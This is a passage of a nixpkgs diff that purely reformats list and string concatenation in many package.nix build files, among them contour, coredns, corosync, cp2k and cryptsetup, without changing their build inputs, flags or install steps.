-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ sigtool ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ sigtool ];
 
-  buildInputs =
-    [
-      boxed-cpp
-      fontconfig
-      freetype
-      libunicode
-      termbench-pro
-      qt6.qtmultimedia
-      qt6.qt5compat
-      pcre
-      boost
-      catch2_3
-      fmt
-      microsoft-gsl
-      range-v3
-      yaml-cpp
-      reflection-cpp
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ libutempter ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libutil
-    ];
+  buildInputs = [
+    boxed-cpp
+    fontconfig
+    freetype
+    libunicode
+    termbench-pro
+    qt6.qtmultimedia
+    qt6.qt5compat
+    pcre
+    boost
+    catch2_3
+    fmt
+    microsoft-gsl
+    range-v3
+    yaml-cpp
+    reflection-cpp
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ libutempter ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libutil
+  ];
 
   cmakeFlags = [ "-DCONTOUR_QT_VERSION=6" ];
 
-  postInstall =
-    ''
-      mkdir -p $out/nix-support $terminfo/share
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir $out/Applications
-      installShellCompletion --zsh $out/contour.app/Contents/Resources/shell-integration/shell-integration.zsh
-      installShellCompletion --fish $out/contour.app/Contents/Resources/shell-integration/shell-integration.fish
-      cp -r $out/contour.app/Contents/Resources/terminfo $terminfo/share
-      mv $out/contour.app $out/Applications
-      ln -s $out/bin $out/Applications/contour.app/Contents/MacOS
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      mv $out/share/terminfo $terminfo/share/
-      installShellCompletion --zsh $out/share/contour/shell-integration/shell-integration.zsh
-      installShellCompletion --fish $out/share/contour/shell-integration/shell-integration.fish
-    ''
-    + ''
-      echo "$terminfo" >> $out/nix-support/propagated-user-env-packages
-    '';
+  postInstall = ''
+    mkdir -p $out/nix-support $terminfo/share
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir $out/Applications
+    installShellCompletion --zsh $out/contour.app/Contents/Resources/shell-integration/shell-integration.zsh
+    installShellCompletion --fish $out/contour.app/Contents/Resources/shell-integration/shell-integration.fish
+    cp -r $out/contour.app/Contents/Resources/terminfo $terminfo/share
+    mv $out/contour.app $out/Applications
+    ln -s $out/bin $out/Applications/contour.app/Contents/MacOS
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    mv $out/share/terminfo $terminfo/share/
+    installShellCompletion --zsh $out/share/contour/shell-integration/shell-integration.zsh
+    installShellCompletion --fish $out/share/contour/shell-integration/shell-integration.fish
+  ''
+  + ''
+    echo "$terminfo" >> $out/nix-support/propagated-user-env-packages
+  '';
 
   passthru.tests.test = nixosTests.terminal-emulators.contour;
 
diff --git a/pkgs/by-name/co/convco/package.nix b/pkgs/by-name/co/convco/package.nix
index 81ca074ff9cb..166158157abb 100644
--- a/pkgs/by-name/co/convco/package.nix
+++ b/pkgs/by-name/co/convco/package.nix
@@ -28,11 +28,12 @@ rustPlatform.buildRustPackage rec {
     pkg-config
   ];
 
-  buildInputs =
-    [ openssl ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libiconv
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libiconv
+  ];
 
   checkFlags = [
     # disable test requiring networking
diff --git a/pkgs/by-name/co/convos/package.nix b/pkgs/by-name/co/convos/package.nix
index f71868f38886..d9ccbff23519 100644
--- a/pkgs/by-name/co/convos/package.nix
+++ b/pkgs/by-name/co/convos/package.nix
@@ -23,7 +23,8 @@ perlPackages.buildPerlPackage rec {
 
   nativeBuildInputs = [
     makeWrapper
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ shortenPerlShebang ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ shortenPerlShebang ];
 
   buildInputs = with perlPackages; [
     CryptPassphrase
@@ -99,21 +100,20 @@ perlPackages.buildPerlPackage rec {
   # Convos expects to find assets in both auto/share/dist/Convos, and $MOJO_HOME
   # which is set to $out
   #
-  postInstall =
-    ''
-      AUTO_SHARE_PATH=$out/${perl.libPrefix}/auto/share/dist/Convos
-      mkdir -p $AUTO_SHARE_PATH
-      cp -vR public assets $AUTO_SHARE_PATH/
-      ln -s $AUTO_SHARE_PATH/public/assets $out/assets
-      cp -vR templates $out/templates
-      cp Makefile.PL $out/Makefile.PL
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      shortenPerlShebang $out/bin/convos
-    ''
-    + ''
-      wrapProgram $out/bin/convos --set MOJO_HOME $out
-    '';
+  postInstall = ''
+    AUTO_SHARE_PATH=$out/${perl.libPrefix}/auto/share/dist/Convos
+    mkdir -p $AUTO_SHARE_PATH
+    cp -vR public assets $AUTO_SHARE_PATH/
+    ln -s $AUTO_SHARE_PATH/public/assets $out/assets
+    cp -vR templates $out/templates
+    cp Makefile.PL $out/Makefile.PL
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    shortenPerlShebang $out/bin/convos
+  ''
+  + ''
+    wrapProgram $out/bin/convos --set MOJO_HOME $out
+  '';
 
   passthru.tests = nixosTests.convos;
 
diff --git a/pkgs/by-name/co/coost/package.nix b/pkgs/by-name/co/coost/package.nix
index 9b07ee0aca15..e3ccf660a240 100644
--- a/pkgs/by-name/co/coost/package.nix
+++ b/pkgs/by-name/co/coost/package.nix
@@ -30,12 +30,11 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [ cmake ];
   buildInputs = lib.optional withCurl curl ++ lib.optional withOpenSSL openssl;
 
-  cmakeFlags =
-    [
-      "-DBUILD_SHARED_LIBS=ON"
-    ]
-    ++ lib.optional withCurl "-DWITH_LIBCURL=ON"
-    ++ lib.optional withOpenSSL "-DWITH_OPENSSL=ON";
+  cmakeFlags = [
+    "-DBUILD_SHARED_LIBS=ON"
+  ]
+  ++ lib.optional withCurl "-DWITH_LIBCURL=ON"
+  ++ lib.optional withOpenSSL "-DWITH_OPENSSL=ON";
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/co/copacetic/package.nix b/pkgs/by-name/co/copacetic/package.nix
index 1ac52077c77d..c8b434f33a35 100644
--- a/pkgs/by-name/co/copacetic/package.nix
+++ b/pkgs/by-name/co/copacetic/package.nix
@@ -45,16 +45,15 @@ buildGoModule rec {
   doInstallCheck = true;
   versionCheckProgram = "${placeholder "out"}/bin/${meta.mainProgram}";
 
-  postInstall =
-    ''
-      mv $out/bin/copacetic $out/bin/copa
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd copa \
-        --bash <($out/bin/copa completion bash) \
-        --fish <($out/bin/copa completion fish) \
-        --zsh <($out/bin/copa completion zsh)
-    '';
+  postInstall = ''
+    mv $out/bin/copacetic $out/bin/copa
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd copa \
+      --bash <($out/bin/copa completion bash) \
+      --fish <($out/bin/copa completion fish) \
+      --zsh <($out/bin/copa completion zsh)
+  '';
 
   passthru.updateScript = nix-update-script { };
 
diff --git a/pkgs/by-name/co/coredns/package.nix b/pkgs/by-name/co/coredns/package.nix
index c0c8d6d97acc..4c3693d7dca3 100644
--- a/pkgs/by-name/co/coredns/package.nix
+++ b/pkgs/by-name/co/coredns/package.nix
@@ -71,28 +71,27 @@ buildGoModule rec {
     GOOS= GOARCH= go generate
   '';
 
-  postPatch =
-    ''
-      substituteInPlace test/file_cname_proxy_test.go \
-        --replace "TestZoneExternalCNAMELookupWithProxy" \
-                  "SkipZoneExternalCNAMELookupWithProxy"
+  postPatch = ''
+    substituteInPlace test/file_cname_proxy_test.go \
+      --replace "TestZoneExternalCNAMELookupWithProxy" \
+                "SkipZoneExternalCNAMELookupWithProxy"
 
-      substituteInPlace test/readme_test.go \
-        --replace "TestReadme" "SkipReadme"
+    substituteInPlace test/readme_test.go \
+      --replace "TestReadme" "SkipReadme"
 
-      # this test fails if any external plugins were imported.
-      # it's a lint rather than a test of functionality, so it's safe to disable.
-      substituteInPlace test/presubmit_test.go \
-        --replace "TestImportOrdering" "SkipImportOrdering"
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # loopback interface is lo0 on macos
-      sed -E -i 's/\blo\b/lo0/' plugin/bind/setup_test.go
+    # this test fails if any external plugins were imported.
+    # it's a lint rather than a test of functionality, so it's safe to disable.
+    substituteInPlace test/presubmit_test.go \
+      --replace "TestImportOrdering" "SkipImportOrdering"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # loopback interface is lo0 on macos
+    sed -E -i 's/\blo\b/lo0/' plugin/bind/setup_test.go
 
-      # test is apparently outdated but only exhibits this on darwin
-      substituteInPlace test/corefile_test.go \
-        --replace "TestCorefile1" "SkipCorefile1"
-    '';
+    # test is apparently outdated but only exhibits this on darwin
+    substituteInPlace test/corefile_test.go \
+      --replace "TestCorefile1" "SkipCorefile1"
+  '';
 
   postInstall = ''
     installManPage man/*
diff --git a/pkgs/by-name/co/corosync/package.nix b/pkgs/by-name/co/corosync/package.nix
index b3bf4bd5c463..6225fa443c8e 100644
--- a/pkgs/by-name/co/corosync/package.nix
+++ b/pkgs/by-name/co/corosync/package.nix
@@ -37,33 +37,31 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      kronosnet
-      nss
-      nspr
-      libqb
-      systemd.dev
-    ]
-    ++ optional enableDbus dbus
-    ++ optional enableInfiniBandRdma rdma-core
-    ++ optional enableMonitoring libstatgrab
-    ++ optional enableSnmp net-snmp;
+  buildInputs = [
+    kronosnet
+    nss
+    nspr
+    libqb
+    systemd.dev
+  ]
+  ++ optional enableDbus dbus
+  ++ optional enableInfiniBandRdma rdma-core
+  ++ optional enableMonitoring libstatgrab
+  ++ optional enableSnmp net-snmp;
 
-  configureFlags =
-    [
-      "--sysconfdir=/etc"
-      "--localstatedir=/var"
-      "--with-logdir=/var/log/corosync"
-      "--enable-watchdog"
-      "--enable-qdevices"
-      # allows Type=notify in the systemd service
-      "--enable-systemd"
-    ]
-    ++ optional enableDbus "--enable-dbus"
-    ++ optional enableInfiniBandRdma "--enable-rdma"
-    ++ optional enableMonitoring "--enable-monitoring"
-    ++ optional enableSnmp "--enable-snmp";
+  configureFlags = [
+    "--sysconfdir=/etc"
+    "--localstatedir=/var"
+    "--with-logdir=/var/log/corosync"
+    "--enable-watchdog"
+    "--enable-qdevices"
+    # allows Type=notify in the systemd service
+    "--enable-systemd"
+  ]
+  ++ optional enableDbus "--enable-dbus"
+  ++ optional enableInfiniBandRdma "--enable-rdma"
+  ++ optional enableMonitoring "--enable-monitoring"
+  ++ optional enableSnmp "--enable-snmp";
 
   installFlags = [
     "sysconfdir=$(out)/etc"
diff --git a/pkgs/by-name/co/corrscope/package.nix b/pkgs/by-name/co/corrscope/package.nix
index a4a2ddd9523e..06fe5e9733ed 100644
--- a/pkgs/by-name/co/corrscope/package.nix
+++ b/pkgs/by-name/co/corrscope/package.nix
@@ -34,19 +34,18 @@ python3Packages.buildPythonApplication rec {
       poetry-core
     ]);
 
-  buildInputs =
+  buildInputs = [
+    ffmpeg
+  ]
+  ++ (
+    with libsForQt5;
     [
-      ffmpeg
+      qtbase
     ]
-    ++ (
-      with libsForQt5;
-      [
-        qtbase
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        qtwayland
-      ]
-    );
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      qtwayland
+    ]
+  );
 
   propagatedBuildInputs = with python3Packages; [
     appdirs
diff --git a/pkgs/by-name/co/cosmic-comp/package.nix b/pkgs/by-name/co/cosmic-comp/package.nix
index 6cb3d5b49d3a..b9c9f2d7c85b 100644
--- a/pkgs/by-name/co/cosmic-comp/package.nix
+++ b/pkgs/by-name/co/cosmic-comp/package.nix
@@ -47,7 +47,8 @@ rustPlatform.buildRustPackage (finalAttrs: {
     pixman
     seatd
     udev
-  ] ++ lib.optional useSystemd systemd;
+  ]
+  ++ lib.optional useSystemd systemd;
 
   # Only default feature is systemd
   buildNoDefaultFeatures = !useSystemd;
diff --git a/pkgs/by-name/co/coturn/package.nix b/pkgs/by-name/co/coturn/package.nix
index 9bd5ea132869..39df45e93a03 100644
--- a/pkgs/by-name/co/coturn/package.nix
+++ b/pkgs/by-name/co/coturn/package.nix
@@ -27,17 +27,16 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      openssl
-      (libevent.override { inherit openssl; })
-      libprom
-      libmicrohttpd
-      sqlite.dev
-    ]
-    ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform systemdMinimal) [
-      systemdMinimal
-    ];
+  buildInputs = [
+    openssl
+    (libevent.override { inherit openssl; })
+    libprom
+    libmicrohttpd
+    sqlite.dev
+  ]
+  ++ lib.optionals (lib.meta.availableOn stdenv.hostPlatform systemdMinimal) [
+    systemdMinimal
+  ];
 
   patches = [
     ./pure-configure.patch
diff --git a/pkgs/by-name/co/cozy/package.nix b/pkgs/by-name/co/cozy/package.nix
index d0182f75792a..ff77b3ab05b2 100644
--- a/pkgs/by-name/co/cozy/package.nix
+++ b/pkgs/by-name/co/cozy/package.nix
@@ -43,17 +43,16 @@ python3Packages.buildPythonApplication rec {
     gobject-introspection
   ];
 
-  buildInputs =
-    [
-      libadwaita
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-good
-      gst-plugins-ugly
-      gst-plugins-base
-      gst-plugins-bad
-    ]);
+  buildInputs = [
+    libadwaita
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-good
+    gst-plugins-ugly
+    gst-plugins-base
+    gst-plugins-bad
+  ]);
 
   propagatedBuildInputs = with python3Packages; [
     distro
diff --git a/pkgs/by-name/cp/cp2k/package.nix b/pkgs/by-name/cp/cp2k/package.nix
index 64673800373e..535d0adbf6d6 100644
--- a/pkgs/by-name/cp/cp2k/package.nix
+++ b/pkgs/by-name/cp/cp2k/package.nix
@@ -84,47 +84,47 @@ stdenv.mkDerivation rec {
     which
     makeWrapper
     pkg-config
-  ] ++ lib.optional (gpuBackend == "cuda") cudaPackages.cuda_nvcc;
+  ]
+  ++ lib.optional (gpuBackend == "cuda") cudaPackages.cuda_nvcc;
 
-  buildInputs =
-    [
-      gfortran
-      fftw
-      gsl
-      libint
-      libvori
-      libxc
-      dftd4
-      mctc-lib
-      mstore
-      multicharge
-      libxsmm
-      mpi
-      spglib
-      scalapack
-      blas
-      lapack
-      plumed
-      zlib
-      hdf5-fortran
-      sirius
-      spla
-      spfft
-      libvdwxc
-    ]
-    ++ lib.optional enableElpa elpa
-    ++ lib.optionals (gpuBackend == "cuda") [
-      cudaPackages.cuda_cudart
-      cudaPackages.libcublas
-      cudaPackages.cuda_nvrtc
-    ]
-    ++ lib.optionals (gpuBackend == "rocm") [
-      rocmPackages.clr
-      rocmPackages.rocm-core
-      rocmPackages.hipblas
-      rocmPackages.hipfft
-      rocmPackages.rocblas
-    ];
+  buildInputs = [
+    gfortran
+    fftw
+    gsl
+    libint
+    libvori
+    libxc
+    dftd4
+    mctc-lib
+    mstore
+    multicharge
+    libxsmm
+    mpi
+    spglib
+    scalapack
+    blas
+    lapack
+    plumed
+    zlib
+    hdf5-fortran
+    sirius
+    spla
+    spfft
+    libvdwxc
+  ]
+  ++ lib.optional enableElpa elpa
+  ++ lib.optionals (gpuBackend == "cuda") [
+    cudaPackages.cuda_cudart
+    cudaPackages.libcublas
+    cudaPackages.cuda_nvrtc
+  ]
+  ++ lib.optionals (gpuBackend == "rocm") [
+    rocmPackages.clr
+    rocmPackages.rocm-core
+    rocmPackages.hipblas
+    rocmPackages.hipfft
+    rocmPackages.rocblas
+  ];
 
   propagatedBuildInputs = [ (lib.getBin mpi) ];
   propagatedUserEnvPkgs = [ mpi ];
diff --git a/pkgs/by-name/cp/cppcheck/package.nix b/pkgs/by-name/cp/cppcheck/package.nix
index 9bcdedb354f8..464631b171da 100644
--- a/pkgs/by-name/cp/cppcheck/package.nix
+++ b/pkgs/by-name/cp/cppcheck/package.nix
@@ -64,25 +64,24 @@ stdenv.mkDerivation (finalAttrs: {
   doCheck = !(stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64);
   doInstallCheck = true;
 
-  postPatch =
-    ''
-      substituteInPlace Makefile \
-        --replace-fail 'PCRE_CONFIG = $(shell which pcre-config)' 'PCRE_CONFIG = $(PKG_CONFIG) libpcre'
-    ''
-    # Expected:
-    # Internal Error. MathLib::toDoubleNumber: conversion failed: 1invalid
-    #
-    # Actual:
-    # Internal Error. MathLib::toDoubleNumber: input was not completely consumed: 1invalid
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace test/testmathlib.cpp \
-        --replace-fail \
-          'ASSERT_THROW_INTERNAL_EQUALS(MathLib::toDoubleNumber("1invalid"), INTERNAL, "Internal Error. MathLib::toDoubleNumber: conversion failed: 1invalid");' \
-          "" \
-        --replace-fail \
-          'ASSERT_THROW_INTERNAL_EQUALS(MathLib::toDoubleNumber("1.1invalid"), INTERNAL, "Internal Error. MathLib::toDoubleNumber: conversion failed: 1.1invalid");' \
-          ""
-    '';
+  postPatch = ''
+    substituteInPlace Makefile \
+      --replace-fail 'PCRE_CONFIG = $(shell which pcre-config)' 'PCRE_CONFIG = $(PKG_CONFIG) libpcre'
+  ''
+  # Expected:
+  # Internal Error. MathLib::toDoubleNumber: conversion failed: 1invalid
+  #
+  # Actual:
+  # Internal Error. MathLib::toDoubleNumber: input was not completely consumed: 1invalid
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace test/testmathlib.cpp \
+      --replace-fail \
+        'ASSERT_THROW_INTERNAL_EQUALS(MathLib::toDoubleNumber("1invalid"), INTERNAL, "Internal Error. MathLib::toDoubleNumber: conversion failed: 1invalid");' \
+        "" \
+      --replace-fail \
+        'ASSERT_THROW_INTERNAL_EQUALS(MathLib::toDoubleNumber("1.1invalid"), INTERNAL, "Internal Error. MathLib::toDoubleNumber: conversion failed: 1.1invalid");' \
+        ""
+  '';
 
   postBuild = ''
     make DB2MAN=${docbook_xsl}/xml/xsl/docbook/manpages/docbook.xsl man
diff --git a/pkgs/by-name/cp/cppitertools/package.nix b/pkgs/by-name/cp/cppitertools/package.nix
index e484d70c3294..99c363273d52 100644
--- a/pkgs/by-name/cp/cppitertools/package.nix
+++ b/pkgs/by-name/cp/cppitertools/package.nix
@@ -58,16 +58,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   cmakeFlags = [ "-Dcppitertools_INSTALL_CMAKE_DIR=${finalAttrs.cmakeInstallDir}" ];
 
-  prePatch =
-    ''
-      # Mark the `.` install target as non-default.
-      substituteInPlace CMakeLists.txt \
-        --replace-fail "  DIRECTORY ." "  DIRECTORY . EXCLUDE_FROM_ALL"
-    ''
-    + lib.optionalString finalAttrs.finalPackage.doCheck ''
-      # Required for tests.
-      cp ${lib.getDev catch2}/include/catch2/catch.hpp test/
-    '';
+  prePatch = ''
+    # Mark the `.` install target as non-default.
+    substituteInPlace CMakeLists.txt \
+      --replace-fail "  DIRECTORY ." "  DIRECTORY . EXCLUDE_FROM_ALL"
+  ''
+  + lib.optionalString finalAttrs.finalPackage.doCheck ''
+    # Required for tests.
+    cp ${lib.getDev catch2}/include/catch2/catch.hpp test/
+  '';
 
   checkPhase = ''
     runHook preCheck
diff --git a/pkgs/by-name/cr/cri-tools/package.nix b/pkgs/by-name/cr/cri-tools/package.nix
index 0a15e50fc610..0b1a219bb8fc 100644
--- a/pkgs/by-name/cr/cri-tools/package.nix
+++ b/pkgs/by-name/cr/cri-tools/package.nix
@@ -29,20 +29,19 @@ buildGoModule rec {
     runHook postBuild
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
-      make install BINDIR=$out/bin
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      for shell in bash fish zsh; do
-        installShellCompletion --cmd crictl \
-          --$shell <($out/bin/crictl completion $shell)
-      done
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    make install BINDIR=$out/bin
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    for shell in bash fish zsh; do
+      installShellCompletion --cmd crictl \
+        --$shell <($out/bin/crictl completion $shell)
+    done
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   meta = with lib; {
     description = "CLI and validation tools for Kubelet Container Runtime Interface (CRI)";
diff --git a/pkgs/by-name/cr/criu/package.nix b/pkgs/by-name/cr/criu/package.nix
index a07fb3169214..848576385f81 100644
--- a/pkgs/by-name/cr/criu/package.nix
+++ b/pkgs/by-name/cr/criu/package.nix
@@ -65,14 +65,13 @@ stdenv.mkDerivation rec {
     libbsd
     libuuid
   ];
-  propagatedBuildInputs =
-    [
-      protobufc
-    ]
-    ++ (with python3.pkgs; [
-      python
-      python3.pkgs.protobuf
-    ]);
+  propagatedBuildInputs = [
+    protobufc
+  ]
+  ++ (with python3.pkgs; [
+    python
+    python3.pkgs.protobuf
+  ]);
 
   postPatch = ''
     substituteInPlace ./Documentation/Makefile \
diff --git a/pkgs/by-name/cr/crocoddyl/package.nix b/pkgs/by-name/cr/crocoddyl/package.nix
index 78ddc5abfa55..4962baa7287b 100644
--- a/pkgs/by-name/cr/crocoddyl/package.nix
+++ b/pkgs/by-name/cr/crocoddyl/package.nix
@@ -32,32 +32,30 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      cmake
-      doxygen
-      pkg-config
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.python
-      python3Packages.pythonImportsCheckHook
-    ];
+  nativeBuildInputs = [
+    cmake
+    doxygen
+    pkg-config
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.python
+    python3Packages.pythonImportsCheckHook
+  ];
 
-  propagatedBuildInputs =
-    [
-      blas
-      ipopt
-      lapack
-    ]
-    ++ lib.optionals (!pythonSupport) [
-      example-robot-data
-      pinocchio
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.example-robot-data
-      python3Packages.pinocchio
-      python3Packages.scipy
-    ];
+  propagatedBuildInputs = [
+    blas
+    ipopt
+    lapack
+  ]
+  ++ lib.optionals (!pythonSupport) [
+    example-robot-data
+    pinocchio
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.example-robot-data
+    python3Packages.pinocchio
+    python3Packages.scipy
+  ];
 
   cmakeFlags = [
     (lib.cmakeBool "INSTALL_DOCUMENTATION" true)
diff --git a/pkgs/by-name/cr/crow-translate/package.nix b/pkgs/by-name/cr/crow-translate/package.nix
index 3b8dc307fa12..be12eb2859f8 100644
--- a/pkgs/by-name/cr/crow-translate/package.nix
+++ b/pkgs/by-name/cr/crow-translate/package.nix
@@ -37,20 +37,19 @@ stdenv.mkDerivation (finalAttrs: {
     qt5.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      libsForQt5.kwayland
-      leptonica
-      tesseract4
-      qt5.qtmultimedia
-      qt5.qtx11extras
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-    ]);
+  buildInputs = [
+    libsForQt5.kwayland
+    leptonica
+    tesseract4
+    qt5.qtmultimedia
+    qt5.qtx11extras
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+  ]);
 
   preFixup = ''
     qtWrapperArgs+=(--prefix GST_PLUGIN_SYSTEM_PATH_1_0 : "$GST_PLUGIN_SYSTEM_PATH_1_0")
diff --git a/pkgs/by-name/cr/crusader/package.nix b/pkgs/by-name/cr/crusader/package.nix
index 057accbabd86..47f2dd413487 100644
--- a/pkgs/by-name/cr/crusader/package.nix
+++ b/pkgs/by-name/cr/crusader/package.nix
@@ -37,26 +37,24 @@ rustPlatform.buildRustPackage rec {
   cargoHash = "sha256-f0TWiRX203/gNsa9UEr/1Bv+kUxLAK/Zlw+S693xZlE=";
 
   # autoPatchelfHook required on linux for crusader-gui
-  nativeBuildInputs =
-    [
-      makeWrapper
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      autoPatchelfHook
-    ];
+  nativeBuildInputs = [
+    makeWrapper
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    autoPatchelfHook
+  ];
 
-  buildInputs =
-    [
-      fontconfig
-      libgcc
-      libxkbcommon
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      xorg.libX11
-      xorg.libXcursor
-      xorg.libXi
-    ];
+  buildInputs = [
+    fontconfig
+    libgcc
+    libxkbcommon
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    xorg.libX11
+    xorg.libXcursor
+    xorg.libXi
+  ];
 
   # required for crusader-gui
   runtimeDependencies = [
diff --git a/pkgs/by-name/cr/cryfs/package.nix b/pkgs/by-name/cr/cryfs/package.nix
index b6563a677939..81b06e5e3931 100644
--- a/pkgs/by-name/cr/cryfs/package.nix
+++ b/pkgs/by-name/cr/cryfs/package.nix
@@ -62,7 +62,8 @@ stdenv.mkDerivation rec {
     openssl
     range-v3
     spdlog
-  ] ++ lib.optional stdenv.cc.isClang llvmPackages.openmp;
+  ]
+  ++ lib.optional stdenv.cc.isClang llvmPackages.openmp;
 
   #nativeCheckInputs = [ gtest ];
 
diff --git a/pkgs/by-name/cr/cryptsetup/package.nix b/pkgs/by-name/cr/cryptsetup/package.nix
index 8ba13330dfe1..833773fe7171 100644
--- a/pkgs/by-name/cr/cryptsetup/package.nix
+++ b/pkgs/by-name/cr/cryptsetup/package.nix
@@ -56,26 +56,25 @@ stdenv.mkDerivation rec {
 
   NIX_LDFLAGS = lib.optionalString (stdenv.cc.isGNU && !stdenv.hostPlatform.isStatic) "-lgcc_s";
 
-  configureFlags =
-    [
-      "--with-crypto_backend=openssl"
-      "--disable-ssh-token"
-      "--with-tmpfilesdir=${placeholder "out"}/lib/tmpfiles.d"
-    ]
-    ++ lib.optionals (!rebuildMan) [
-      "--disable-asciidoc"
-    ]
-    ++ lib.optionals (!withInternalArgon2) [
-      "--enable-libargon2"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isStatic [
-      "--disable-external-tokens"
-      # We have to override this even though we're removing token
-      # support, because the path still gets included in the binary even
-      # though it isn't used.
-      "--with-luks2-external-tokens-path=/"
-    ]
-    ++ (lib.mapAttrsToList (lib.flip lib.enableFeature)) programs;
+  configureFlags = [
+    "--with-crypto_backend=openssl"
+    "--disable-ssh-token"
+    "--with-tmpfilesdir=${placeholder "out"}/lib/tmpfiles.d"
+  ]
+  ++ lib.optionals (!rebuildMan) [
+    "--disable-asciidoc"
+  ]
+  ++ lib.optionals (!withInternalArgon2) [
+    "--enable-libargon2"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [
+    "--disable-external-tokens"
+    # We have to override this even though we're removing token
+    # support, because the path still gets included in the binary even
+    # though it isn't used.
+    "--with-luks2-external-tokens-path=/"
+  ]
+  ++ (lib.mapAttrsToList (lib.flip lib.enableFeature)) programs;
 
   nativeBuildInputs = [ pkg-config ] ++ lib.optionals rebuildMan [ asciidoctor ];
   propagatedBuildInputs = [
@@ -84,7 +83,8 @@ stdenv.mkDerivation rec {
     openssl
     libuuid
     popt
-  ] ++ lib.optional (!withInternalArgon2) libargon2;
+  ]
+  ++ lib.optional (!withInternalArgon2) libargon2;
 
   # The test [7] header backup in compat-test fails with a mysterious
   # "out of memory" error, even though tons of memory is available.
diff --git a/pkgs/by-name/cs/csmith/package.nix b/pkgs/by-name/cs/csmith/package.nix
index f14f2644aac5..bdcda4e57885 100644
--- a/pkgs/by-name/cs/csmith/package.nix
+++ b/pkgs/by-name/cs/csmith/package.nix
@@ -21,12 +21,13 @@ stdenv.mkDerivation rec {
     m4
     makeWrapper
   ];
-  buildInputs =
-    [ libbsd ]
-    ++ (with perlPackages; [
-      perl
-      SysCPU
-    ]);
+  buildInputs = [
+    libbsd
+  ]
+  ++ (with perlPackages; [
+    perl
+    SysCPU
+  ]);
 
   CXXFLAGS = "-std=c++98";
 
diff --git a/pkgs/by-name/cu/cubicsdr/package.nix b/pkgs/by-name/cu/cubicsdr/package.nix
index ab7e8d6ac8aa..7f7a9f0d67e5 100644
--- a/pkgs/by-name/cu/cubicsdr/package.nix
+++ b/pkgs/by-name/cu/cubicsdr/package.nix
@@ -40,19 +40,18 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      fftw
-      hamlib
-      liquid-dsp
-      soapysdr-with-plugins
-      wxGTK32
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      libpulseaudio
-      libGL
-      libX11
-    ];
+  buildInputs = [
+    fftw
+    hamlib
+    liquid-dsp
+    soapysdr-with-plugins
+    wxGTK32
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    libpulseaudio
+    libGL
+    libX11
+  ];
 
   cmakeFlags = [ "-DUSE_HAMLIB=ON" ] ++ lib.optional enableDigitalLab "-DENABLE_DIGITAL_LAB=ON";
 
diff --git a/pkgs/by-name/cu/cups-brother-hll2350dw/package.nix b/pkgs/by-name/cu/cups-brother-hll2350dw/package.nix
index c793308aa5b1..515370a06f0b 100644
